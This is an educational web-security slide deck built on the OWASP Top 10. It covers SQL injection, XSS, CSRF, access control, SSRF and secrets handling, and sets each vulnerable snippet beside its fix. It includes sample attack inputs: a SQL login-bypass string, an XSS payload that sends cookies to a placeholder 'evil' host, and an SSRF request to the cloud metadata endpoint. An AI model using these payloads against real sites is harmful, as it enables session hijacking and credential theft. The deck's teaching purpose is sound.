Library
00/07 · ~36 min
GUIDEDECK· for shipping apps that don't get owned

Web Security
and the art of
never trusting input.

A 36-minute working session on the attacks that break real apps — SQL injection, XSS, CSRF, broken access control, SSRF — why they work, and the small set of habits that shut each one down. Anchored on the OWASP Top 10.

~36 MINBEGINNER → INTERMEDIATEOWASP TOP 10
SCROLL
01 · The attacker mindset & defense in depth 4 min

Every input is a weapon
until you prove otherwise.

A normal developer asks "how do I make this work?" An attacker asks "what happens if I send something you didn'texpect?" Security is just the discipline of asking that second question first — and assuming any data crossing into your system might be hostile.

Attack surface every point where untrusted data enters your system : form fields, URLs, headers, cookies, file uploads, API bodies, even values you stored earlier from a user. The bigger the surface, the more places something can go wrong. Rule zero: never trust input — validate and escape it at every boundary.

The one idea behind everything

  • Data from the outside is untrusted — the user, another service, a third-party script, a saved record someone planted earlier.
  • A trust boundary is the line your code controls. Anything crossing it must be checked, not assumed.
  • Most of this deck is one move repeated: keep attacker-controlled data from being treated as code or commands.
attacker untrusted TRUST BOUNDARY validate app logic trusted database trusted input

Nothing reaches the trusted side without being validated at the boundary.

Two ideas to carry through the whole deck

Defense in depth

Layers, not a single wall

Assume any one control will eventually fail, so stack several. A parameterized query and input validation and least privilege on the DB user. If the first line breaks, the next still holds.

Like a bank — a locked door, plus cameras, plus a vault, plus a guard. No single failure empties it.

Least privilege

Grant the minimum, nothing more

Every user, service, and token should hold only the permissions it actually needs. A reporting job gets read-only access, not DROP TABLE. When something is compromised, the blast radius is small.

Like a hotel keycard — it opens your room and the gym, not every other guest's door.

OWASP Top 10 a periodically-updated list of the ten most critical web application security risks, published by the Open Worldwide Application Security Project. It is the industry's shared checklist. The next sections walk its headline categories: injection, broken access control, cryptographic failures, SSRF, and friends.
02 · Injection — SQL injection 6 min

When data gets read as
code, you lose the database.

Injection happens whenever you glue untrusted text into a command that an interpreter then runs — SQL, a shell, an LDAP filter. The attacker stops being a user and starts being an author of your queries. The fix is one habit, and it is nearly free.

SQL injection tricking the database into running attacker-supplied SQL by smuggling it inside a value your query string concatenates. Because the database can't tell your intended query from the injected part, it runs both. Result: read any table, bypass logins, sometimes delete everything.
Concatenation — the wide-open door
const q = "SELECT * FROM users WHERE name = '" + input + "'" db.run(q) // the user controls part of the SQL // input: ' OR '1'='1 -- // query becomes ... WHERE name = '' OR '1'='1' --' // → matches EVERY row, login bypassed
Parameterized — the door is sealed
const q = "SELECT * FROM users WHERE name = ?" // ? is a placeholder db.run(q, [input]) // data travels on its own channel // input: ' OR '1'='1 -- // the driver treats it as a literal name string // → matches nothing. injection impossible.
Parameterized query (a.k.a. a prepared statement) — you send the SQL with ? placeholders first, then the values separately. The database compiles the query structure once, then slots the values in as pure data. They can never become new SQL. This single technique kills the entire category.
// most ORMs / query builders do this for you users.where({ name: input }) // → prepared statement under the hood // raw escape hatches still need placeholders: db.query("... WHERE id = $1", [id]) // NEVER build SQL with string templates
query template name = ? data ' OR '1'='1 database compiled once code value only

Code and data ride separate channels — the value never re-enters the SQL grammar.

The same shape, everywhere

  • OS command injection — building a shell command from input. Use library calls or pass args as an array, never a string.
  • NoSQL / LDAP / XPath injection— same trap in a different query language. Use the driver's parameter binding.
  • Defense in depth— also validate input (allowlist of expected shapes) and give the DB user least privilege, so a slip still can't DROP TABLE.
03 · XSS — cross-site scripting 6 min

Their script,
running on your page.

If injection is "attacker writes your SQL," XSS is "attacker writes your JavaScript." Sneak a <script>into a page another user loads, and it runs with that user's session — stealing cookies, keylogging, making requests as them. The defense: treat user content as text, and lock down what scripts may run.

XSS (cross-site scripting) getting the browser to execute attacker-supplied code in the context of your site. It happens when user input is dropped into the page as HTML instead of as plain text. The browser can't tell your markup from theirs, so it runs whatever it's handed.

Stored — the payload lives in your database

The attacker saves a malicious script in a field you persist — a comment, a profile bio, a product review. It then fires for everyone who views that content. The most damaging kind, because it spreads on its own.

// attacker posts this as a "comment": <img src=x onerror="fetch('//evil/?c='+document.cookie)"> // every visitor who loads the thread runs it

Reflected — bounced straight back from the request

Input from the URL or form is echoed into the response unescaped — a search page that prints You searched for: …. The attacker emails a crafted link; clicking it runs their script in your victim's session.

// /search?q=<script>steal()</script> res.send("Results for " + req.query.q) // the query is reflected into HTML and runs

DOM-based — it never touches the server

Client-side JavaScript reads something attacker-controlled (the URL hash, localStorage) and writes it into the page with innerHTML. The whole exploit lives in the browser, so server logs show nothing.

el.innerHTML = location.hash.slice(1) // page#<img src=x onerror=alert(1)> → executes // fix: el.textContent = ... (never innerHTML)
Building HTML from input
el.innerHTML = "Hi " + userName // userName = <script>…</script> // the browser parses it as markup and runs it
Treat it as text + escape
el.textContent = "Hi " + userName // rendered as literal characters, never markup // in templates: auto-escape < > & " on output
Output encoding (escaping) converting dangerous characters to their harmless display form right before inserting data into a page, so < shows as a literal less-than sign instead of starting a tag. Modern frameworks (React, Vue, Angular, server templates) auto-escape by default — the danger is the escape hatch: dangerouslySetInnerHTML, v-html, innerHTML.
# a strong Content-Security-Policy Content-Security-Policy: default-src 'self'; script-src 'self'; # no inline / 3rd-party JS object-src 'none'; base-uri 'self'
CSP gate app.js 'self' ✓ inline blocked ✕ evil.com blocked ✕

CSP is the safety net: even if a script slips in, the browser refuses to run inline or third-party code.

04 · CSRF — cross-site request forgery 5 min

Your browser, used
against you.

XSS abuses trust the user has in your site. CSRF abuses the trust your site has in the user's browser. The attacker doesn't steal a session — they ride one that's already logged in, by making the victim's browser fire a request it didn't mean to send.

CSRF (cross-site request forgery) tricking a logged-in user's browser into sending a state-changing request to your site without their intent. Because cookies are attached automatically to every request to your domain, a hidden form or image on a malicious page can act as the victim — transfer money, change an email, delete an account.
victim logged into bank evil.com hidden form bank.com trusts the cookie 1 visits 2 auto-submit 3 POST /transfer + session cookie

The victim never clicks "transfer" — evil.com submits it for them, and the browser helpfully attaches the cookie.

Why cookies make this possible

  • Browsers send your site's cookies on every request to your domain — even ones triggered from another site.
  • So the server sees a perfectly valid, authenticated request and has no built-in way to know the user didn't mean it.
  • The fix is to require proof the request came from your own pages, not someone else's.
SameSite cookie a cookie attribute that tells the browser not to attach the cookie on requests coming from other sites. SameSite=Lax (a sensible default) blocks it on cross-site POSTs while still allowing normal top-level navigation; SameSite=Strict is tighter. This alone defeats the classic CSRF attack.
Layer 1 — harden the cookie
Set-Cookie: session=...; SameSite=Lax; # not sent cross-site Secure; # HTTPS only HttpOnly # JS can't read it (helps vs XSS)
Layer 2 — a CSRF token
// server embeds a secret, per-session token <input type="hidden" name="_csrf" value="9f2a..."> // on POST, reject if it's missing or wrong if (body._csrf !== session.csrf) reject(403) // evil.com can't read or guess it

Belt and braces: SameSite stops the request being sent, and the token means even a same-site mistake fails closed. Pure-token APIs that authenticate with an Authorization header instead of cookies are naturally CSRF-resistant.

05 · Access & server flaws 6 min

The bugs that don't need
a clever payload.

Some of the most common breaches aren't exotic — they're forgetting to check who's asking, letting your server fetch a URL it shouldn't, or leaving a key in the repo. Broken access control has topped the OWASP Top 10. Expand each below.

A
Broken access control
Asking nicely is enough to get someone else's data.
+

The app authenticates who you are but forgets to check what you're allowed to touch. The classic form is IDOR— an Insecure Direct Object Reference — where changing an id in the URL hands you another user's record.

trusts the id blindly
app.get("/invoice/:id", (req) => db.invoice(req.params.id)) // /invoice/1002 → someone else's invoice
checks ownership
app.get("/invoice/:id", (req) => { const inv = db.invoice(req.params.id) if (inv.ownerId !== req.user.id) forbid() return inv })

Enforce authorization on the server, on every request, deny by default. Never rely on a hidden button or a client-side role check.

S
SSRF — server-side request forgery
You let the server fetch a URL the attacker chose.
+

SSRF is when an attacker makes your server send a request to a destination they pick. Since the server sits inside your network, it can reach internal services and the cloud metadata endpoint — often handing over credentials.

fetches any URL given
// "give us an image URL and we'll fetch it" await fetch(req.query.url) // url = http://169.254.169.254/latest/meta-data/ // → leaks cloud credentials
allowlist + block internal
const u = new URL(req.query.url) if (!ALLOWED_HOSTS.has(u.hostname)) reject() // also block private / link-local IP ranges await fetch(u)

Validate against an allowlist of permitted hosts, resolve and block private IP ranges, and disable redirects. SSRF earned its own slot on the OWASP Top 10.

K
Leaked secrets & misconfiguration
The key was in the repo the whole time.
+

Secrets — API keys, DB passwords, signing keys — hard-coded in source, committed to git, or printed in logs. Once a secret is in git history it is compromised forever, even after you delete the line. This overlaps OWASP's Cryptographic Failures and Security Misconfiguration.

baked into the code
const key = "sk_live_9f2aQ...c4" // committed → in git history forever // scraped by bots within minutes
injected at runtime
const key = process.env.STRIPE_KEY // from a secrets manager / env, .gitignore'd // rotate on a schedule; scan commits in CI

Keep secrets in environment variables or a secrets manager (Vault, AWS/GCP Secrets Manager). Add automated secret scanning to CI, and ship sane defaults — no debug pages, no default admin passwords, in production.

06 · The tooling landscape 5 min

You can't review
every line by hand.

Tools don't replace the mindset — they scale it. Four families cover different moments: scanning your own code, attacking the running app, watching your dependencies, and filtering live traffic. Use them together; each catches what the others miss.

SAST — scans your source code (white-box)

Static Application Security Testing reads your code without running it, flagging risky patterns — a raw SQL concat, an innerHTMLsink — as you type or in CI. Catches issues earliest, when they're cheapest.

Semgrep

Pro: fast, custom rules in plain patterns, generous free tier.

Con: rules you write yourself can be noisy until tuned.

Snyk Code

Pro: strong IDE/PR integration, AI-assisted fix suggestions.

Con: commercial; deeper features are paid.

DAST — attacks the running app (black-box)

Dynamic Application Security Testingprobes a live deployment from the outside like a real attacker — fuzzing inputs, replaying requests — so it finds runtime and config issues source scanning can't see.

OWASP ZAP

Pro: free, open-source, scriptable for CI pipelines.

Con: steeper setup; more false positives to triage.

Burp Suite

Pro:the pentester's standard; unmatched manual tooling.

Con: Pro tier is paid; built for experts, not push-button.

Dependency scanning — your supply chain

Most of your app is code you didn't write. These tools watch your package.json/ lockfile for libraries with known CVEs (OWASP's "Vulnerable and Outdated Components") and open upgrade PRs.

Dependabot

Pro: free and built into GitHub; zero setup, auto PRs.

Con: GitHub-centric; PR noise on big dependency trees.

Snyk Open Source

Pro: rich vuln database, reachability analysis, fix advice.

Con: full platform is commercial.

WAF — filters live traffic at the edge

A Web Application Firewall sits in front of your app and blocks malicious requests by pattern — injection strings, known bad bots — plus rate-limiting and DDoS mitigation. A shield, not a fix for the underlying bug.

Cloudflare

Pro: easy to deploy, managed rule sets, strong DDoS protection.

Con: can be bypassed; risks a false sense of safety.

Cloud-native WAFs

Pro: AWS WAF / Azure / GCP integrate tightly with your stack.

Con: rule tuning is on you; per-request cost at scale.

  • Start free and shift left. Turn on Dependabot and a SAST scan (Semgrep) in CI on day one — biggest payoff per minute.
  • Layer, don't pick one. SAST + DAST + dependency scanning catch different bug classes; a WAF buys time but never replaces the fix.
  • Tune for signal. A scanner everyone ignores from false-positive fatigue is worse than none — triage and suppress ruthlessly.
  • Anchor on the OWASP Top 10.Make sure your tooling and reviews cover each category; it's the shared checklist.
07 · A threat-model walkthrough + recap 4 min

Think like an attacker, on purpose.

Threat modeling is just a structured version of the question we started with: what could go wrong here? Four questions, asked before you ship a feature — no special tools required.

1

What are we building? Sketch the data flow and mark the trust boundaries.

2

What can go wrong? Walk each input — spoofing, tampering, info leak, elevation.

3

What will we do? Pick a control per risk — escape, parameterize, authorize.

4

Did it work? Verify with a test, a scan, or a review.

1Never trust input. Validate at every boundary; treat all outside data as hostile until proven safe.
2Keep data out of the code path.Parameterize SQL, escape HTML output — don't let values become commands.
3Authorize every request. Check ownership server-side, deny by default, grant least privilege.
4Defense in depth. SameSite cookies and tokens, CSP and escaping — assume one layer fails.
5Automate the boring parts. Dependency + secret scanning in CI, anchored on the OWASP Top 10.
Knowledge check

Did it stick?

Five quick questions on injection, XSS, CSRF, access control, and tooling — instant feedback, no sign-in.

Rate this deck
be the first

Navigate with ← → or scroll · back to library